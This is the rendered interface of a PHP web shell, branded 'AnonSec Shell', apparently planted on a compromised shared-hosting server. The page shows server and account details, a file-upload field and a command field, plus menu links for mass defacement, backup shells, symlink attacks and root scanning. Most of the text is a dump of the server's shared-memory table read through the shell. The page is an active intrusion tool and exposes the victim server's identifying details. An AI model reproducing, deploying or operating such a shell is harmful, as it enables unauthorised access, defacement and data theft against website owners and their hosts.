. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 198.54.115.242  /  Your IP : 216.73.216.33   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux server233.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : imereohc ( 2529)
PHP Version : 8.2.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0  870907904  1600                347328 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896081                348160                     0
         0  870907905  1600                369016 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896084                372736                     0
         0  870907906  1600                390704 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896086                393216                     0
      5555          3   644                  1024  4410 2883327      0     0     0     0     0 1770897239 1770897239 1759564777                  4096                     0
         0  870907908  1600                412400 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896088                413696                     0
         0  870907911  1600                434096 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896090                434176                     0
         0  870907912  1600                455784 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896092                458752                     0
         0  870907913  1600                477472 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896094                479232                     0
         0  870907914  1600                499168 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896096                499712                     0
         0  870907915  1600                520856 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896098                524288                     0
         0  876576780  1600                524288 1549240 1646451      1  3633  3629  3633  3629 1770966997 1770967009 1770966598                  8192                     0
         0  870907918  1600                542544 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896100                544768                     0
         0  870907920  1600                564240 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896102                565248                     0
         0  870907921  1600                585936 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896104                589824                     0
         0  870907922  1600                607632 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896107                610304                     0
         0  870907923  1600                629336 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896109                630784                     0
         0  870907925  1600                651040 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896111                651264                     0
         0  870907926  1600                672744 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896113                675840                     0
         0  870907927  1600                694432 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896115                696320                     0
         0  870907928  1600                716128 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896118                716800                     0
         0  870907933  1600                737816 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896152                741376                     0
         0  870907934   600                759512 2600113 1652486      2   475   468   475   468 1770967026 1770967026 1770896154                761856                     0
   5432001  870875174   600                    56 2598420 1652413      6    26    26    26    26 1770967025 1770967025 1770896042                  4096                     0
         0  870875175  1600                   576 2600108 1652486      6   475   468   475   468 1770967026 1770967026 1770896048                  4096                     0
         0  870875176  1600               4161056 2600108 1652486      6   475   468   475   468 1770967026 1770967026 1770896048               4161536                     0
         0  876478505  1600                524288 1422837 1641672      1  5263  5196  5263  5196 1770966975 1770966998 1770965415                  8192                     0
         0  870875178  1600                 21744 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896050                 24576                     0
         0  870875179  1600                 43456 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896052                 45056                     0
         0  870875180  1600                 65160 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896054                 65536                     0
         0  870875181  1600                 86856 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896057                 90112                     0
         0  870875182  1600                108560 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896059                110592                     0
         0  870875183  1600                130312 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896061                131072                     0
         0  876544048  1600                524288 1520788 1520788      3  3691  3687  3691  3687 1770967022 1770967004 1770966286                  8192                     0
         0  870875185  1600                152008 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896063                155648                     0
         0  870875186  1600                173712 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896065                176128                     0
         0  870875189  1600                195408 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896067                196608                     0
         0  870875191  1600                217112 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896069                221184                     0
         0  870875192  1600                238816 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896071                241664                     0
         0  870875193  1600                260544 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896073                262144                     0
         0  870875194  1600                282240 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896075                282624                     0
         0  870875195  1600                303944 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896077                307200                     0
         0  870875196  1600                325632 2600113 1652486      1   475   468   475   468 1770967026 1770967026 1770896079                327680                     0
         0  876576832  1600                524288 1629361 1643157      1   647   643   647   643 1770966982 1770966998 1770966921                  8192                     0
         0  876576833  1600                524288 1633218 1633218      3   755   752   755   752 1770967023 1770966955 1770966941                  8192                     0
         0  876576834  1600                524288 1634950 1645971      1  5176  5109  5176  5109 1770966994 1770967006 1770966948                  8192                     0
         0  876445763  1600                524288 1352085 1646312      2  1849  1845  1849  1845 1770967010 1770967018 1770965110                  8192                     0
         0  875888708  1400                166200 2594050 2585225      2   484   479     0     0 1770958001          0 1770958001                167936                     0
         0  876576837  1600                524288 1635290 1635310      1  2478  2474  2478  2474 1770966949 1770966961 1770966949                  8192                     0
         0  876576838  1600                524288 1635858 1635868      1  1341  1337  1341  1337 1770966951 1770966964 1770966951                  8192                     0
         0  876576839  1600                524288 1636178 1636305      1  2004  2000  2004  2000 1770966953 1770966965 1770966953                  8192                     0
         0  876576840  1600                524288 1636187 1636187      2  1696  1692  1696  1692 1770967025 1770967002 1770966953                  8192                     0
         0  876576841  1600                524288 1643092 1643103      1  4295  4291  4295  4291 1770966983 1770967000 1770966982                  8192                     0
         0  876576842  1600                524288 1646841 1647311      1  1114  1099  1114  1099 1770967001 1770967015 1770966999                  8192                     0
         0  876576843  1600                524288 1647037 1647057      1  2926  2922  2926  2922 1770966999 1770967012 1770966999                  8192                     0
         0  876576844  1600                524288 1647852 1647869      1  3320  3316  3320  3316 1770967003 1770967016 1770967003                  8192                     0
         0  876511309  1600                524288 1486455 1637622      3  1696  1692  1696  1692 1770966997 1770967014 1770966002                  8192                     0
         0  876576846  1600                524288 1648237 1648237      3 12624 12557 12624 12557 1770967019 1770967016 1770967005                  8192                     0
         0  876576847  1600                524288 1652377 1652377      2 11226 11159 11226 11159 1770967025          0 1770967025                  8192                     0
         0  876511318  1600                524288 1504174 1649749      1   966   963   966   963 1770967012 1770967024 1770966049                  8192                     0

Anon7 - 2022
AnonSec Team